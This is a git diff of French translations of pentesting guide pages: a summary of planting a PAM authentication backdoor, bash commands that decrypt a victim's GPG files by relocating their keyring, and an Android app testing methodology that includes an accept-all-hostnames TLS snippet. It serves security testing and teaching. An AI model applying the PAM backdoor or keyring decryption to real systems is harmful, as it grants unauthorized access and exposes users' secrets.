@ -32,32 +32,32 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
|
||||
```
|
||||
### Backdooring PAM
|
||||
|
||||
**Pour plus de détails, consultez le [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Ceci n'est qu'un résumé :
|
||||
**Pour plus de détails, consultez l'[article original](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Ceci n'est qu'un résumé :
|
||||
|
||||
Le Pluggable Authentication Module (PAM) est un système utilisé sous Linux pour l'authentification des utilisateurs. Il fonctionne sur trois concepts principaux : **username**, **password**, et **service**. Les fichiers de configuration pour chaque service se trouvent dans le répertoire `/etc/pam.d/`, où des shared libraries gèrent l'authentification.
|
||||
Le Pluggable Authentication Module (PAM) est un système utilisé sous Linux pour l'authentification des utilisateurs. Il fonctionne sur trois concepts principaux : **nom d'utilisateur**, **mot de passe**, et **service**. Les fichiers de configuration pour chaque service se trouvent dans le répertoire `/etc/pam.d/`, où des bibliothèques partagées gèrent l'authentification.
|
||||
|
||||
**Objectif** : Modifier PAM pour permettre l'authentification avec un mot de passe spécifique, contournant le mot de passe réel de l'utilisateur. Cela se concentre particulièrement sur la librairie partagée `pam_unix.so` utilisée par le fichier `common-auth`, qui est incluse par presque tous les services pour la vérification du mot de passe.
|
||||
**Objectif** : Modifier PAM pour permettre l'authentification avec un mot de passe spécifique, contournant le mot de passe réel de l'utilisateur. Cela vise en particulier la bibliothèque partagée `pam_unix.so` utilisée par le fichier `common-auth`, qui est incluse par presque tous les services pour la vérification des mots de passe.
|
||||
|
||||
### Steps for Modifying `pam_unix.so`:
|
||||
|
||||
1. **Locate the Authentication Directive** in the `common-auth` file:
|
||||
- The line responsible for checking a user's password calls `pam_unix.so`.
|
||||
- La ligne responsable de vérifier le mot de passe d'un utilisateur appelle `pam_unix.so`.
|
||||
2. **Modify Source Code**:
|
||||
- Add a conditional statement in the `pam_unix_auth.c` source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process.
|
||||
- Ajoutez une instruction conditionnelle dans le fichier source `pam_unix_auth.c` qui accorde l'accès si un mot de passe prédéfini est utilisé ; sinon, le processus d'authentification habituel est poursuivi.
|
||||
3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
|
||||
4. **Testing**:
|
||||
- Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected.
|
||||
- L'accès est accordé sur divers services (login, ssh, sudo, su, screensaver) avec le mot de passe prédéfini, tandis que les processus d'authentification normaux restent inchangés.
|
||||
|
||||
> [!TIP]
|
||||
> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||||
> Vous pouvez automatiser ce processus avec [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||||
|
||||
## Decrypting GPG loot via homedir relocation
|
||||
## Déchiffrement de GPG loot via homedir relocation
|
||||
|
||||
Si vous trouvez un fichier chiffré `.gpg` et le dossier `~/.gnupg` d’un utilisateur (pubring, private-keys, trustdb) mais que vous ne pouvez pas déchiffrer à cause des permissions/verrous du GnuPG homedir, copiez le keyring dans un emplacement inscriptible et utilisez-le comme votre GPG home.
|
||||
Si vous trouvez un fichier chiffré `.gpg` et le dossier `~/.gnupg` d’un utilisateur (pubring, private-keys, trustdb) mais que vous ne pouvez pas déchiffrer à cause des permissions/verrous du homedir GnuPG, copiez le keyring dans un emplacement accessible en écriture et utilisez-le comme GPG home.
|
||||
|
||||
Typical errors you’ll see without this: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (because GPG can’t read/write the original homedir).
|
||||
Erreurs typiques que vous verrez sans cela : "unsafe ownership on homedir", "failed to create temporary file", ou "decryption failed: No secret key" (parce que GPG ne peut pas lire/écrire le homedir original).
|
||||
|
||||
Workflow:
|
||||
Flux de travail :
|
||||
```bash
|
||||
# 1) Stage a writable homedir and copy the victim's keyring
|
||||
mkdir -p /dev/shm/fakehome/.gnupg
|
||||
@ -70,7 +70,7 @@ GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
|
||||
# or
|
||||
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
|
||||
```
|
||||
Si le matériel de clé secrète est présent dans `private-keys-v1.d`, GPG déverrouillera et déchiffrera sans demander de passphrase (ou il demandera une passphrase si la clé est protégée).
|
||||
Si le matériel de la clé secrète est présent dans `private-keys-v1.d`, GPG déverrouillera et déchiffrera sans demander de passphrase (ou il demandera si la clé est protégée).
|
||||
|
||||
## Références
|
||||
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -1,10 +1,10 @@
|
||||
# Pentesting des applications Android
|
||||
# Pentesting d'applications Android
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Notions de base des applications Android
|
||||
|
||||
It's highly recommended to start reading this page to know about the **most important parts related to Android security and the most dangerous components in an Android application**:
|
||||
Il est fortement recommandé de commencer par lire cette page pour connaître **les parties les plus importantes liées à la sécurité Android et les composants les plus dangereux d'une application Android** :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -13,15 +13,15 @@ android-applications-basics.md
|
||||
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
This is the main tool you need to connect to an android device (emulated or physical).\
|
||||
**ADB** allows to control devices either over **USB** or **Network** from a computer. This utility enables the **copying** of files in both directions, **installation** and **uninstallation** of apps, **execution** of shell commands, **backing up** of data, **reading** of logs, among other functions.
|
||||
C'est l'outil principal pour se connecter à un appareil Android (émulé ou physique).\
|
||||
**ADB** permet de contrôler les appareils soit via **USB** soit via **Network** depuis un ordinateur. Cet utilitaire permet la **copie** de fichiers dans les deux sens, l'**installation** et la **désinstallation** d'apps, l'**exécution** de commandes shell, la **sauvegarde** de données, la **lecture** de logs, entre autres fonctions.
|
||||
|
||||
Consultez la liste suivante de [**ADB Commands**](adb-commands.md) pour apprendre à utiliser adb.
|
||||
Take a look to the following list of [**ADB Commands**](adb-commands.md) to learn how to use adb.
|
||||
|
||||
## Smali
|
||||
|
||||
Parfois il est intéressant de **modifier le code de l'application** pour accéder à des **informations cachées** (maybe well obfuscated passwords or flags). Then, it could be interesting to decompile the apk, modify the code and recompile it.\
|
||||
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Cela peut être très utile comme **alternative pour plusieurs tests lors de l'analyse dynamique** qui sont going to presented. Then, **keep always in mid this possibility**.
|
||||
Parfois, il peut être utile de **modifier le code de l'application** pour accéder à des **informations cachées** (par exemple des mots de passe fortement obfusqués ou des flags). Dans ce cas, il peut être intéressant de décompiler l'APK, modifier le code puis le recompiler.\
|
||||
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Cela peut être très utile comme **alternative pour plusieurs tests lors de l'analyse dynamique** qui vont être présentés. Donc, **gardez toujours à l'esprit cette possibilité**.
|
||||
|
||||
## Autres astuces intéressantes
|
||||
|
||||
@ -29,7 +29,7 @@ Parfois il est intéressant de **modifier le code de l'application** pour accéd
|
||||
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
|
||||
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
|
||||
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
|
||||
- **Télécharger des APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Extraire l'APK depuis l'appareil:
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
|
||||
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
|
||||
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
```
|
||||
## Études de cas & Vulnérabilités
|
||||
## Études de cas & vulnérabilités
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -68,34 +68,34 @@ Veuillez [**lire ici pour trouver des informations sur les différents décompil
|
||||
|
||||
### Recherche d'informations intéressantes
|
||||
|
||||
En regardant simplement les **strings** de l'APK vous pouvez rechercher des **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), des **api** keys, **encryption**, **bluetooth uuids**, **tokens** et tout ce qui est intéressant... cherchez même des backdoors d'exécution de code ou des backdoors d'authentification (hardcoded admin credentials dans l'app).
|
||||
En regardant simplement les **strings** de l'APK, vous pouvez rechercher des **mots de passe**, des **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), des **clés API**, du **chiffrement**, des **bluetooth UUIDs**, des **tokens** et tout ce qui est intéressant... cherchez même des **backdoors** d'exécution de code ou des backdoors d'authentification (identifiants admin hardcodés dans l'app).
|
||||
|
||||
**Firebase**
|
||||
|
||||
Faites particulièrement attention aux **firebase URLs** et vérifiez si elles sont mal configurées. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
Portez une attention particulière aux **Firebase URLs** et vérifiez si elles sont mal configurées. [Plus d'informations sur ce qu'est Firebase et comment l'exploiter ici.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Compréhension basique de l'application - Manifest.xml, strings.xml
|
||||
### Compréhension de base de l'application - Manifest.xml, strings.xml
|
||||
|
||||
L'**examen des fichiers _Manifest.xml_ et _strings.xml_ d'une application peut révéler des vulnérabilités de sécurité potentielles**. Ces fichiers peuvent être consultés avec des décompilateurs ou en renommant l'extension du fichier APK en .zip puis en le décompressant.
|
||||
L'**examen des fichiers _Manifest.xml_ et _strings.xml_ d'une application peut révéler des vulnérabilités potentielles de sécurité**. Ces fichiers peuvent être consultés à l'aide de décompilateurs ou en renommant l'extension du fichier APK en .zip puis en le décompressant.
|
||||
|
||||
Les **vulnérabilités** identifiées dans le **_Manifest.xml_** incluent :
|
||||
Les **vulnérabilités** identifiées à partir du **Manifest.xml** incluent :
|
||||
|
||||
- **Applications débogables** : Les applications marquées comme debuggable (`debuggable="true"`) dans le fichier _Manifest.xml_ présentent un risque car elles permettent des connexions pouvant conduire à une exploitation. Pour mieux comprendre comment exploiter des applications debuggable, référez-vous à un tutoriel sur la découverte et l'exploitation des applications debuggable sur un appareil.
|
||||
- **Paramètres de backup** : L'attribut `android:allowBackup="false"` devrait être explicitement défini pour les applications traitant des informations sensibles afin d'empêcher des sauvegardes de données non autorisées via adb, surtout lorsque USB debugging est activé.
|
||||
- **Sécurité réseau** : Les configurations de security réseau personnalisées (`android:networkSecurityConfig="@xml/network_security_config"`) dans _res/xml/_ peuvent spécifier des détails de sécurité tels que le certificate pinning et les paramètres du trafic HTTP. Un exemple est d'autoriser le trafic HTTP pour des domaines spécifiques.
|
||||
- **Activities et Services exportés** : Identifier les activities et services exportés dans le manifest peut mettre en évidence des composants susceptibles d'être abusés. Une analyse plus poussée lors de tests dynamiques peut révéler comment exploiter ces composants.
|
||||
- **Content Providers et FileProviders** : Des content providers exposés pourraient permettre un accès ou une modification non autorisés des données. La configuration des FileProviders doit aussi être examinée.
|
||||
- **Broadcast Receivers et URL Schemes** : Ces composants pourraient être exploités, en prêtant une attention particulière à la gestion des URL schemes pour les vulnérabilités d'entrée.
|
||||
- **Versions SDK** : Les attributs `minSdkVersion`, `targetSDKVersion` et `maxSdkVersion` indiquent les versions Android supportées, soulignant l'importance de ne pas supporter des versions Android obsolètes et vulnérables pour des raisons de sécurité.
|
||||
- **Debuggable Applications** : Les applications définies comme debuggable (`debuggable="true"`) dans le fichier _Manifest.xml_ présentent un risque car elles permettent des connexions pouvant conduire à une exploitation. Pour comprendre comment exploiter des applications debuggables, consultez un tutoriel sur la recherche et l'exploitation d'applications debuggables sur un appareil.
|
||||
- **Backup Settings** : L'attribut `android:allowBackup="false"` doit être explicitement défini pour les applications manipulant des informations sensibles afin d'empêcher des sauvegardes de données non autorisées via adb, en particulier lorsque le débogage USB est activé.
|
||||
- **Network Security** : Les configurations de sécurité réseau personnalisées (`android:networkSecurityConfig="@xml/network_security_config"`) dans _res/xml/_ peuvent spécifier des détails de sécurité comme le pinning de certificats et les paramètres de trafic HTTP. Un exemple est d'autoriser le trafic HTTP pour des domaines spécifiques.
|
||||
- **Exported Activities and Services** : Identifier les activities et services exportés dans le manifest peut mettre en évidence des composants susceptibles d'être détournés. Une analyse supplémentaire en test dynamique peut révéler comment exploiter ces composants.
|
||||
- **Content Providers and FileProviders** : Des content providers exposés pourraient permettre un accès ou une modification non autorisés des données. La configuration des FileProviders doit également être examinée.
|
||||
- **Broadcast Receivers and URL Schemes** : Ces composants pourraient être exploités, en portant une attention particulière à la manière dont les schémas d'URL sont gérés pour les vulnérabilités d'entrée.
|
||||
- **SDK Versions** : Les attributs `minSdkVersion`, `targetSDKVersion` et `maxSdkVersion` indiquent les versions Android supportées, soulignant l'importance de ne pas supporter des versions Android obsolètes et vulnérables pour des raisons de sécurité.
|
||||
|
||||
À partir du fichier **strings.xml**, des informations sensibles telles que des API keys, des custom schemas et d'autres notes de développeur peuvent être découvertes, ce qui souligne la nécessité d'un examen attentif de ces ressources.
|
||||
Depuis le fichier **strings.xml**, des informations sensibles telles que des clés API, des schemas personnalisés et d'autres notes de développeur peuvent être découvertes, soulignant la nécessité d'un examen attentif de ces ressources.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
Le **Tapjacking** est une attaque où une **application malveillante** est lancée et **se positionne au-dessus d'une application victime**. Une fois qu'elle obscurcit visuellement l'application victime, son interface utilisateur est conçue de manière à tromper l'utilisateur pour qu'il interagisse avec elle, tandis qu'elle transmet l'interaction à l'application victime.\
|
||||
En effet, c'est **empêcher l'utilisateur de savoir qu'il effectue en réalité des actions sur l'application victime**.
|
||||
**Tapjacking** est une attaque où une **application** **malveillante** est lancée et **se positionne au-dessus d'une application victime**. Une fois qu'elle obscurcit visiblement l'application victime, son interface utilisateur est conçue de manière à tromper l'utilisateur pour qu'il interagisse avec elle, tandis qu'elle transmet l'interaction à l'application victime.\
|
||||
En pratique, c'est **aveugler l'utilisateur afin qu'il ne sache pas qu'il effectue en réalité des actions sur l'application victime**.
|
||||
|
||||
Find more information in:
|
||||
Trouvez plus d'informations dans :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -104,9 +104,9 @@ tapjacking.md
|
||||
|
||||
### Task Hijacking
|
||||
|
||||
Une **activity** avec le `launchMode` réglé sur `singleTask` sans `taskAffinity` défini est vulnérable au **Task Hijacking**. Cela signifie qu'une **application** peut être installée et, si elle est lancée avant la vraie application, elle pourrait **détourner la task de la vraie application** (l'utilisateur interagira donc avec l'application malveillante en pensant utiliser la vraie).
|
||||
Une **activity** avec le **`launchMode`** réglé sur **`singleTask` sans aucun `taskAffinity`** défini est vulnérable au Task Hijacking. Cela signifie qu'une **application** peut être installée et si elle est lancée avant la vraie application, elle pourrait **détourner la tâche de la vraie application** (ainsi l'utilisateur interagira avec l'**application malveillante en pensant utiliser la véritable application**).
|
||||
|
||||
More info in:
|
||||
Plus d'infos dans :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -115,71 +115,71 @@ android-task-hijacking.md
|
||||
|
||||
### Stockage de données non sécurisé
|
||||
|
||||
**Stockage interne**
|
||||
Internal Storage
|
||||
|
||||
Sur Android, les fichiers **stockés** en **stockage interne** sont **conçus** pour être **accessibles** exclusivement par l'**app** qui les a **créés**. Cette mesure de sécurité est **appliquée** par le système d'exploitation Android et est généralement suffisante pour les besoins de sécurité de la plupart des applications. Cependant, les développeurs utilisent parfois des modes tels que `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` pour **permettre** le partage de fichiers entre différentes applications. Ces modes **n'empêchent pas l'accès** à ces fichiers par d'autres applications, y compris potentiellement malveillantes.
|
||||
Sur Android, les fichiers **stockés** dans le stockage **interne** sont **conçus** pour être **accessibles** exclusivement par l'**app** qui les a **créés**. Cette mesure de sécurité est **appliquée** par le système d'exploitation Android et est généralement adéquate pour les besoins de sécurité de la plupart des applications. Cependant, les développeurs utilisent parfois des modes tels que `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` pour **permettre** le partage de fichiers entre différentes applications. Pourtant, ces modes **ne restreignent pas l'accès** à ces fichiers par d'autres applications, y compris potentiellement des applications malveillantes.
|
||||
|
||||
1. **Analyse statique :**
|
||||
- **Vérifiez** que l'utilisation de `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` est **examinée attentivement**. Ces modes **peuvent potentiellement exposer** des fichiers à un accès non intentionnel ou non autorisé.
|
||||
- **Assurez-vous** que l'utilisation de `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` est **soigneusement examinée**. Ces modes **peuvent potentiellement exposer** des fichiers à un **accès non voulu ou non autorisé**.
|
||||
2. **Analyse dynamique :**
|
||||
- **Vérifiez** les **permissions** définies sur les fichiers créés par l'app. Plus précisément, **vérifiez** si des fichiers sont définis comme lisibles ou modifiables par tous. Cela peut représenter un risque de sécurité important, car cela permettrait à **toute application** installée sur l'appareil, quelle que soit son origine ou son intention, de **lire ou modifier** ces fichiers.
|
||||
- **Vérifiez** les **permissions** définies sur les fichiers créés par l'app. Plus précisément, **contrôlez** si des fichiers sont **rendus lisibles ou modifiables mondialement**. Cela peut constituer un risque de sécurité important, car cela permettrait à **n'importe quelle application** installée sur l'appareil, quel que soit son origine ou son intention, de **lire ou modifier** ces fichiers.
|
||||
|
||||
**Stockage externe**
|
||||
External Storage
|
||||
|
||||
Lorsqu'on traite des fichiers sur le **stockage externe**, comme les cartes SD, certaines précautions doivent être prises :
|
||||
|
||||
1. **Accessibilité** :
|
||||
- Les fichiers sur le stockage externe sont **globalement lisibles et modifiables**. Cela signifie que n'importe quelle application ou utilisateur peut accéder à ces fichiers.
|
||||
2. **Problèmes de sécurité** :
|
||||
- Les fichiers sur le stockage externe sont **globalement lisibles et modifiables**. Cela signifie que n'importe quelle application ou utilisateur peut y accéder.
|
||||
2. **Préoccupations de sécurité** :
|
||||
- Étant donné la facilité d'accès, il est conseillé **de ne pas stocker d'informations sensibles** sur le stockage externe.
|
||||
- Le stockage externe peut être retiré ou accédé par n'importe quelle application, le rendant moins sûr.
|
||||
- Le stockage externe peut être retiré ou accédé par n'importe quelle application, ce qui le rend moins sûr.
|
||||
3. **Traitement des données provenant du stockage externe** :
|
||||
- Effectuez toujours une **validation des entrées** sur les données récupérées depuis le stockage externe. Ceci est crucial car les données proviennent d'une source non fiable.
|
||||
- Il est fortement déconseillé de stocker des exécutables ou des fichiers de classe sur le stockage externe pour un chargement dynamique.
|
||||
- Si votre application doit récupérer des fichiers exécutables depuis le stockage externe, assurez-vous que ces fichiers sont **signés et vérifiés cryptographiquement** avant d'être chargés dynamiquement. Cette étape est essentielle pour maintenir l'intégrité de la sécurité de votre application.
|
||||
- Effectuez toujours une **validation d'entrée** sur les données récupérées depuis le stockage externe. C'est crucial car les données proviennent d'une source non fiable.
|
||||
- Il est fortement déconseillé de stocker des exécutables ou des fichiers de classes sur le stockage externe pour un chargement dynamique.
|
||||
- Si votre application doit récupérer des fichiers exécutables depuis le stockage externe, assurez-vous que ces fichiers sont **signés et vérifiés cryptographiquement** avant qu'ils ne soient chargés dynamiquement. Cette étape est vitale pour maintenir l'intégrité de sécurité de votre application.
|
||||
|
||||
Le stockage externe peut être **accédé** dans `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
|
||||
Le stockage externe peut être **accessible** dans `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
|
||||
|
||||
> [!TIP]
|
||||
> À partir d'Android 4.4 (**API 17**), la carte SD a une structure de répertoires qui **limite l'accès d'une app au répertoire qui lui est spécifiquement dédié**. Cela empêche une application malveillante d'obtenir un accès en lecture ou écriture aux fichiers d'une autre app.
|
||||
> À partir d'Android 4.4 (**API 17**), la carte SD possède une structure de répertoires qui **limite l'accès d'une app au répertoire qui est spécifiquement pour cette app**. Cela empêche une application malveillante d'obtenir un accès en lecture ou en écriture aux fichiers d'une autre app.
|
||||
|
||||
**Données sensibles stockées en clair**
|
||||
Données sensibles stockées en clair
|
||||
|
||||
- **Shared preferences** : Android permet à chaque application de facilement sauvegarder des fichiers xml dans le chemin `/data/data/<packagename>/shared_prefs/` et parfois il est possible de trouver des informations sensibles en clair dans ce dossier.
|
||||
- **Databases** : Android permet à chaque application de sauvegarder facilement des bases sqlite dans le chemin `/data/data/<packagename>/databases/` et parfois il est possible de trouver des informations sensibles en clair dans ce dossier.
|
||||
- **Shared preferences** : Android permet à chaque application d'enregistrer facilement des fichiers xml dans le chemin `/data/data/<packagename>/shared_prefs/` et parfois il est possible de trouver des informations sensibles en clair dans ce dossier.
|
||||
- **Databases** : Android permet à chaque application d'enregistrer facilement des bases sqlite dans le chemin `/data/data/<packagename>/databases/` et parfois il est possible de trouver des informations sensibles en clair dans ce dossier.
|
||||
|
||||
### TLS cassé
|
||||
### Broken TLS
|
||||
|
||||
**Accept All Certificates**
|
||||
Accept All Certificates
|
||||
|
||||
Pour une raison quelconque, parfois des développeurs acceptent tous les certificats même si, par exemple, le hostname ne correspond pas, avec des lignes de code comme celle-ci :
|
||||
Pour une raison ou une autre, parfois les développeurs acceptent tous les certificats même si par exemple le hostname ne correspond pas, avec des lignes de code comme la suivante :
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
Une bonne façon de tester cela est d'essayer de capturer le traffic en utilisant un proxy comme Burp sans autoriser le Burp CA sur l'appareil. Aussi, vous pouvez générer avec Burp un certificat pour un hostname différent et l'utiliser.
|
||||
Une bonne façon de tester cela est d'essayer de capturer le trafic en utilisant un proxy comme Burp sans autoriser Burp CA à l'intérieur de l'appareil. De plus, vous pouvez générer avec Burp un certificat pour un hostname différent et l'utiliser.
|
||||
|
||||
### Cryptographie défaillante
|
||||
|
||||
**Mauvaises procédures de gestion des clés**
|
||||
**Processus de gestion des clés insuffisants**
|
||||
|
||||
Certains développeurs sauvegardent des données sensibles dans le stockage local et les chiffrent avec une clé hardcodée/prédictible dans le code. Cela ne devrait pas être fait car un peu de reversing pourrait permettre à des attackers d'extraire l'information confidentielle.
|
||||
Certains développeurs sauvegardent des données sensibles dans le stockage local et les chiffrent avec une clé hardcoded/prédictible dans le code. Cela ne devrait pas être fait car du reversing pourrait permettre aux attaquants d'extraire les informations confidentielles.
|
||||
|
||||
**Utilisation d'algorithmes non sécurisés et/ou obsolètes**
|
||||
|
||||
Les développeurs ne devraient pas utiliser d'**algorithmes obsolètes** pour effectuer des **vérifications d'autorisation**, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashes** sont utilisés pour stocker des mots de passe par exemple, des hashes **résistants** au brute-force devraient être utilisés avec du salt.
|
||||
Les développeurs ne devraient pas utiliser des **algorithmes obsolètes** pour effectuer des **vérifications d'authorisation**, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashes** sont utilisés pour stocker des mots de passe par exemple, des hashes résistants au brute-force devraient être utilisés avec du salt.
|
||||
|
||||
### Autres vérifications
|
||||
|
||||
- Il est recommandé d'**obfusquer l'APK** pour rendre le travail de reverse engineer plus difficile aux attackers.
|
||||
- Si l'app est sensible (comme les apps bancaires), elle devrait effectuer ses **propres vérifications pour savoir si le mobile est rooté** et agir en conséquence.
|
||||
- Si l'app est sensible (comme les apps bancaires), elle devrait vérifier si un **emulator** est utilisé.
|
||||
- Si l'app est sensible (comme les apps bancaires), elle devrait **vérifier son intégrité avant exécution** pour détecter si elle a été modifiée.
|
||||
- Il est recommandé d'**obfusquer l'APK** pour rendre le travail de reverse engineering plus difficile pour les attaquants.
|
||||
- Si l'app est sensible (comme les applications bancaires), elle devrait effectuer ses **propres vérifications pour savoir si le mobile est rooted** et agir en conséquence.
|
||||
- Si l'app est sensible (comme les applications bancaires), elle devrait vérifier si un **emulator** est utilisé.
|
||||
- Si l'app est sensible (comme les applications bancaires), elle devrait **vérifier son intégrité avant exécution** pour vérifier si elle a été modifiée.
|
||||
- Utilisez [**APKiD**](https://github.com/rednaga/APKiD) pour vérifier quel compiler/packer/obfuscator a été utilisé pour construire l'APK
|
||||
|
||||
### React Native Application
|
||||
|
||||
Lisez la page suivante pour apprendre comment accéder facilement au code javascript des applications React :
|
||||
Lisez la page suivante pour apprendre comment accéder facilement au code javascript des applications React :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -188,7 +188,7 @@ react-native-application.md
|
||||
|
||||
### Xamarin Applications
|
||||
|
||||
Lisez la page suivante pour apprendre comment accéder facilement au code C# d'une application xamarin :
|
||||
Lisez la page suivante pour apprendre comment accéder facilement au code C# d'une application Xamarin :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -197,17 +197,17 @@ Lisez la page suivante pour apprendre comment accéder facilement au code C# d'u
|
||||
|
||||
### Superpacked Applications
|
||||
|
||||
Selon ce [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked est un algorithme Meta qui compresse le contenu d'une application en un seul fichier. Le blog parle de la possibilité de créer une app qui décompresse ce type d'apps... et d'une méthode plus rapide qui consiste à **exécuter l'application et récupérer les fichiers décompressés depuis le filesystem.**
|
||||
According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.**
|
||||
|
||||
### Analyse statique automatisée du code
|
||||
### Automated Static Code Analysis
|
||||
|
||||
L'outil [**mariana-trench**](https://github.com/facebook/mariana-trench) est capable de trouver des **vulnérabilités** en **scannant** le **code** de l'application. Cet outil contient une série de **known sources** (qui indiquent à l'outil les **endroits** où l'**input** est **contrôlé par l'utilisateur**), **sinks** (qui indiquent à l'outil les **endroits dangereux** où un input malveillant pourrait causer des dommages) et des **rules**. Ces rules indiquent la **combinaison** de **sources-sinks** qui signale une vulnérabilité.
|
||||
The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnérabilités** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combinaison** of **sources-sinks** that indicates a vulnérabilité.
|
||||
|
||||
Avec ces informations, **mariana-trench va analyser le code et trouver d'éventuelles vulnérabilités**.
|
||||
With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**.
|
||||
|
||||
### Secrets leaked
|
||||
|
||||
Une application peut contenir des secrets (API keys, mots de passe, urls cachées, sous-domaines...) à l'intérieur d'elle que vous pourriez être capable de découvrir. Vous pouvez utiliser un outil tel que [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
|
||||
### Bypass Biometric Authentication
|
||||
|
||||
@ -216,11 +216,11 @@ Une application peut contenir des secrets (API keys, mots de passe, urls cachée
|
||||
bypass-biometric-authentication-android.md
|
||||
{{#endref}}
|
||||
|
||||
### Autres fonctions intéressantes
|
||||
### Other interesting functions
|
||||
|
||||
- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
|
||||
- **Native functions** déclarées comme `native`: `public native, System.loadLibrary, System.load`
|
||||
- **Exécution de code**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
- **Envoi de SMS**: `sendTextMessage, sendMultipartTestMessage`
|
||||
- **Fonctions natives** déclarées comme `native`: `public native, System.loadLibrary, System.load`
|
||||
- [Lisez ceci pour apprendre **comment reverse native functions**](reversing-native-libraries.md)
|
||||
|
||||
### **Autres astuces**
|
||||
@ -236,161 +236,163 @@ content-protocol.md
|
||||
|
||||
## Dynamic Analysis
|
||||
|
||||
> Tout d'abord, vous avez besoin d'un environnement où vous pouvez installer l'application et tout l'environnement (Burp CA cert, Drozer et Frida principalement). Par conséquent, un device rooté (emulated ou non) est fortement recommandé.
|
||||
> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended.
|
||||
|
||||
### Online Dynamic analysis
|
||||
|
||||
Vous pouvez créer un **compte gratuit** sur : [https://appetize.io/](https://appetize.io). Cette plateforme permet d'**uploader** et **d'exécuter** des APKs, donc elle est utile pour voir comment un apk se comporte.
|
||||
